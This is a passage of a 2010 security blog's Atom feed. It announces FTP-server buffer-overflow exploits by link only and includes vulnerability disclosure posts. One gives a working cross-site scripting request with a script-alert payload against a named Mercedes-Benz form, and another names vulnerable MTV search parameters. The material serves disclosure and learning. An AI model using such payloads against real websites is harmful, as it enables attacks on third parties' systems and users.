Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;You may also check it out here:&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://www.exploit-db.com/exploits/14496" linkindex="33"&gt;http://www.exploit-db.com/exploits/14496&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; Advisory published on Secunia -&amp;gt; &lt;a href="http://secunia.com/advisories/40771" linkindex="34"&gt;http://secunia.com/advisories/40771&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Best Regards.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-345029316461556310?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/345029316461556310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/07/uplus-ftp-server-v17101-remote-buffer.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/345029316461556310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/345029316461556310'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/07/uplus-ftp-server-v17101-remote-buffer.html' title='UPlus FTP Server v1.7.1.0.1 remote buffer overflow exploit published'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-8144835173359598282</id><published>2010-07-19T14:58:00.004+05:30</published><updated>2010-07-29T00:36:56.071+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='41414141'/><category scheme='http://www.blogger.com/atom/ns#' term='Fuzzing'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploits Published'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit-db'/><category scheme='http://www.blogger.com/atom/ns#' term='Remote Buffer Overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='EasyFTP exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Code Execution'/><title type='text'>2 Remote Buffer Overflow Code Execution Exploits Published</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;Hey folks,&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;As of late, I am reading up on buffer overflows. This is one topic I had been escaping for quite a time. All those hexes \x* , CPU Registers [ eip, esp, ecx, ebx eax ], exploit jargon like sled, nops, jmp et all just didn't made any sense. Until few weeks back when I decided to take it head on / [ me beats his chest and roars! ] :D&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&amp;lt;-----Rewind-----&amp;gt;Back a few weeks from now&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;I wanted to start up with something new. Had an idea and started researching on it. It is an interesting subject but there's not much of a 'fresh' learning. So, I put it on a pause for a while and decided to start with BoF. Nevertheless, it's going to be useful to many who are freshers or currently in the Information Security domain ofcourse when I complete it. ;)&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;After going over half-a-dozen quality articles, ability server &amp;amp; sl mail tutorial by guys over at offsec, I began testing on an open-source ftp server - &lt;a href="http://code.google.com/p/easyftpsvr/" linkindex="23"&gt;Easy FTP server v1.7.0.11&lt;/a&gt;.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;For a perfect noobie in BoF, easyftp server was no easy.. :)&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;Anyways, in around half a day, I could confirm 2 vuln commands in this application. Working on and off along with work at office, I wrote stable Remote Buffer Overflow command execution exploits for each of these. J&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&amp;lt;-----quick snip-----&amp;gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;For those who are new at fuzzing and finding buffer overflows, and are looking for a formal book, here is one that I'd recommend ya:&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;iframe align="left" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ipositiv-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=0321446119&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;This is a nice book that would take you through basics of fuzzing, gradually introducing you to several fuzzing frameworks available today.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;A good read for anyone wanting to learn fuzzing.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;Fuzzing... is the first and only book to cover fuzzing from start to finish, bringing disciplined best practices to a technique that has traditionally been implemented informally. The authors begin by reviewing how fuzzing works and outlining its crucial advantages over other security testing methods. Next, they introduce state-of-the-art fuzzing techniques for finding vulnerabilities in network protocols, file formats, and web applications; demonstrate the use of automated fuzzing tools; and present several insightful case histories showing fuzzing at work.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&amp;lt;-----recent-----&amp;gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;I  submitted my exploits over to Exploit-db yesterday [ &lt;a href="http://www.exploit-db.com/remote/" linkindex="24"&gt;http://www.exploit-db.com/remote/&lt;/a&gt;  ] and later in the day, saw they were confirmed as well. :)&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&amp;lt;-----today-----&amp;gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;I feel  great at this. Though it's simple, now that I know it, the experience  which came out of past few weeks is real learning and very interesting.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;You may  chose to read my exploits here:&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;a href="http://www.exploit-db.com/exploits/14400" linkindex="25"&gt;Easy FTP Server v1.7.0.11 LIST Command  Remote Buffer Overflow Exploit (Post Auth)&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;a href="http://www.exploit-db.com/exploits/14399" linkindex="26"&gt;Easy FTP Server  v1.7.0.11 MKD Command Remote Buffer Overflow Exploit (Post Auth)&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;Best Regards.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-8144835173359598282?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/8144835173359598282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/07/exploits-published.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8144835173359598282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8144835173359598282'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/07/exploits-published.html' title='2 Remote Buffer Overflow Code Execution Exploits Published'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-8080143023194157197</id><published>2010-06-21T01:55:00.006+05:30</published><updated>2010-06-21T02:00:13.681+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='What Motivates us'/><title type='text'>An interesting truth about what motivates us!</title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;What Motivates us!&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Came across this YouTube video by guys over at &lt;a href="http://www.youtube.com/user/theRSAorg" linkindex="16"&gt;RSAnimate&lt;/a&gt;. An awesome animation / presentation on the motivating parameters for an individual and how they differ from the expected norms. A good watch...&lt;br /&gt;&lt;br /&gt;&lt;object width="777" height="500"&gt;&lt;param name="movie" value="http://www.youtube.com/watch?v=u6XAPnuFjJchl=en_US&amp;fs=1&amp;border=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/u6XAPnuFjJc&amp;hl=en_US&amp;fs=1&amp;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="777" height="500"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;Best Regards.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-8080143023194157197?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/8080143023194157197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/06/interesting-truth-about-what-motivates.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8080143023194157197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8080143023194157197'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/06/interesting-truth-about-what-motivates.html' title='An interesting truth about what motivates us!'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-2360767552424720933</id><published>2010-06-21T00:21:00.006+05:30</published><updated>2010-06-21T00:52:08.831+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='CISSP Study Plan'/><category scheme='http://www.blogger.com/atom/ns#' term='Crack CISSP'/><category scheme='http://www.blogger.com/atom/ns#' term='To CISSP Aspirants'/><title type='text'>To CISSP Aspirants!</title><content type='html'>Hi folks,&lt;br /&gt;&lt;br /&gt;In June 2009, I cleared &lt;a href="http://ipositivesecurity.blogspot.com/2009/06/congratulations-you-passed-cissp.html"&gt;ISC2 CISSP exam&lt;/a&gt; and posted my &lt;a href="http://ipositivesecurity.blogspot.com/2009/06/cissp-my-study-plan.html"&gt;CISSP study plan&lt;/a&gt;. Since then, I have continuously been receiving comments and requests both on my blog post and offline at my email to share resources which I used to my preparation.&lt;br /&gt;&lt;br /&gt;Although I have shared the appropriate websites and forum details in my CISSP Study Plan post above, getting study material together still appears challenging to many candidates. Therefore, I've decided to actively support all you CISSP aspirants through directing you to&amp;nbsp;available&amp;nbsp;study resources.&lt;br /&gt;&lt;br /&gt;Request you everyone, please not to ask me for any exam dumps for CISSP study because there aren't any. What I am going to try and help you with would be the study material which you will need in your CISSP preparation.&lt;br /&gt;&lt;br /&gt;Please put your request or any concern on my CISSP Study Plan post here&amp;nbsp;&lt;a href="http://ipositivesecurity.blogspot.com/2009/06/cissp-my-study-plan.html"&gt;http://ipositivesecurity.blogspot.com/2009/06/cissp-my-study-plan.html&lt;/a&gt;&amp;nbsp;and I shall try and share the appropriate pointers in &lt;a href="http://ipositivesecurity.blogspot.com/2010/06/to-cissp-aspirants.html"&gt;this&lt;/a&gt; post.&lt;br /&gt;&lt;br /&gt;Wish you all the best in your pursuit to CISSP.&lt;br /&gt;&lt;br /&gt;Best Regards.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-2360767552424720933?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/2360767552424720933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/06/to-cissp-aspirants.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/2360767552424720933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/2360767552424720933'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/06/to-cissp-aspirants.html' title='To CISSP Aspirants!'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-1061348421750126786</id><published>2010-06-20T23:58:00.000+05:30</published><updated>2010-06-20T23:58:05.171+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Mercedes Benz Cross Site Scripting'/><title type='text'>Mercedes Benz Cross Site Scripting (XSS)</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;+++About Mercedes Benz+++&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Mercedes-Benz"&gt;http://en.wikipedia.org/wiki/Mercedes-Benz&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;+++Affected URL(s)+++&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://www.mercedes-benz.com/"&gt;http://www.mercedes-benz.com/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;+++Vulnerable Parameter / Function+++&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;'dsc_wdw'&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;+++PoC+++&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Home Page -&amp;gt; Request Brochure&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;vuln parameter -&amp;gt; @dsc_wdw&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;+POST Request+&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;https://e-services.mercedes-benz.com/Dialog_RQB/RQB;jsessionid=0000fct1dbQH_OtagtCR9h9ZhZj:14k117133?subprocess=RQBc_Cars&amp;amp;locale=en_IN&amp;amp;site_locale=en_IN&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;+Parameters+&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;dsc_lnk=sn_step2&amp;amp;dsc_pg=p1302&amp;amp;dsc_wdw='&amp;lt;script&amp;gt;alert("Mercedes.Benz Vuln to XSS")&amp;lt;/script&amp;gt;&amp;amp;dsc_lnkapx=&amp;amp;historyBack=true&amp;amp;lastPage=p1302a&amp;amp;p1302.mtxCar%5B0%5D%5B0%5D=car002&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_RGb9AAZeOfs/TB5ZZUx1FLI/AAAAAAAAAhY/_ZgHZoPrzOk/s1600/Mercedes_Benz_India_XSS_edit1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="316" src="http://3.bp.blogspot.com/_RGb9AAZeOfs/TB5ZZUx1FLI/AAAAAAAAAhY/_ZgHZoPrzOk/s640/Mercedes_Benz_India_XSS_edit1.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_RGb9AAZeOfs/TB5ZiDzsl6I/AAAAAAAAAhg/7DDXBdDOHZU/s1600/Mercedes_Benz_India_XSS_edit2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="380" src="http://1.bp.blogspot.com/_RGb9AAZeOfs/TB5ZiDzsl6I/AAAAAAAAAhg/7DDXBdDOHZU/s640/Mercedes_Benz_India_XSS_edit2.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_RGb9AAZeOfs/TB5ZkYf6uEI/AAAAAAAAAho/60-Moe56CUA/s1600/Mercedes_Benz_India_XSS_edit3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="368" src="http://4.bp.blogspot.com/_RGb9AAZeOfs/TB5ZkYf6uEI/AAAAAAAAAho/60-Moe56CUA/s640/Mercedes_Benz_India_XSS_edit3.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_RGb9AAZeOfs/TB5ZllO5GEI/AAAAAAAAAhw/5zOFnE4ELlo/s1600/Mercedes_Benz_India_XSS_edit4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="380" src="http://4.bp.blogspot.com/_RGb9AAZeOfs/TB5ZllO5GEI/AAAAAAAAAhw/5zOFnE4ELlo/s640/Mercedes_Benz_India_XSS_edit4.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;Mercedes Benz Ist Notified&lt;/b&gt;: January 22, 2010&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;IInd Notification&lt;/b&gt;: June 15, 2010&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;Response Received&lt;/b&gt;: None&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;b&gt;Current Status&lt;/b&gt;: Vulnerable (As of today, June 20, 2010)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Best Regards.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-1061348421750126786?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/1061348421750126786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/06/mercedes-benz-cross-site-scripting-xss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1061348421750126786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1061348421750126786'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2010/06/mercedes-benz-cross-site-scripting-xss.html' title='Mercedes Benz Cross Site Scripting (XSS)'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_RGb9AAZeOfs/TB5ZZUx1FLI/AAAAAAAAAhY/_ZgHZoPrzOk/s72-c/Mercedes_Benz_India_XSS_edit1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-1527859610121974062</id><published>2010-06-20T23:51:00.005+05:30</published><updated>2011-08-03T03:53:15.498+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross Site Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='MTV Cross Site Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Think MTV'/><category scheme='http://www.blogger.com/atom/ns#' term='MTV'/><title type='text'>MTV vulnerable to Cross Site Scripting (XSS)</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;+++About MTV+++&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/MTV"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;http://en.wikipedia.org/wiki/MTV&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;  &lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;+++Affected URL(s)+++&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.mtv.com/"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;http://www.mtv.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://think.mtv.com/"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;http://think.mtv.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;br /&gt;&lt;/span&gt;  &lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;+++Vulnerable Parameter / Function+++&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;'q'&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;'search_term'&lt;/span&gt;&lt;br /&gt;&lt;span class
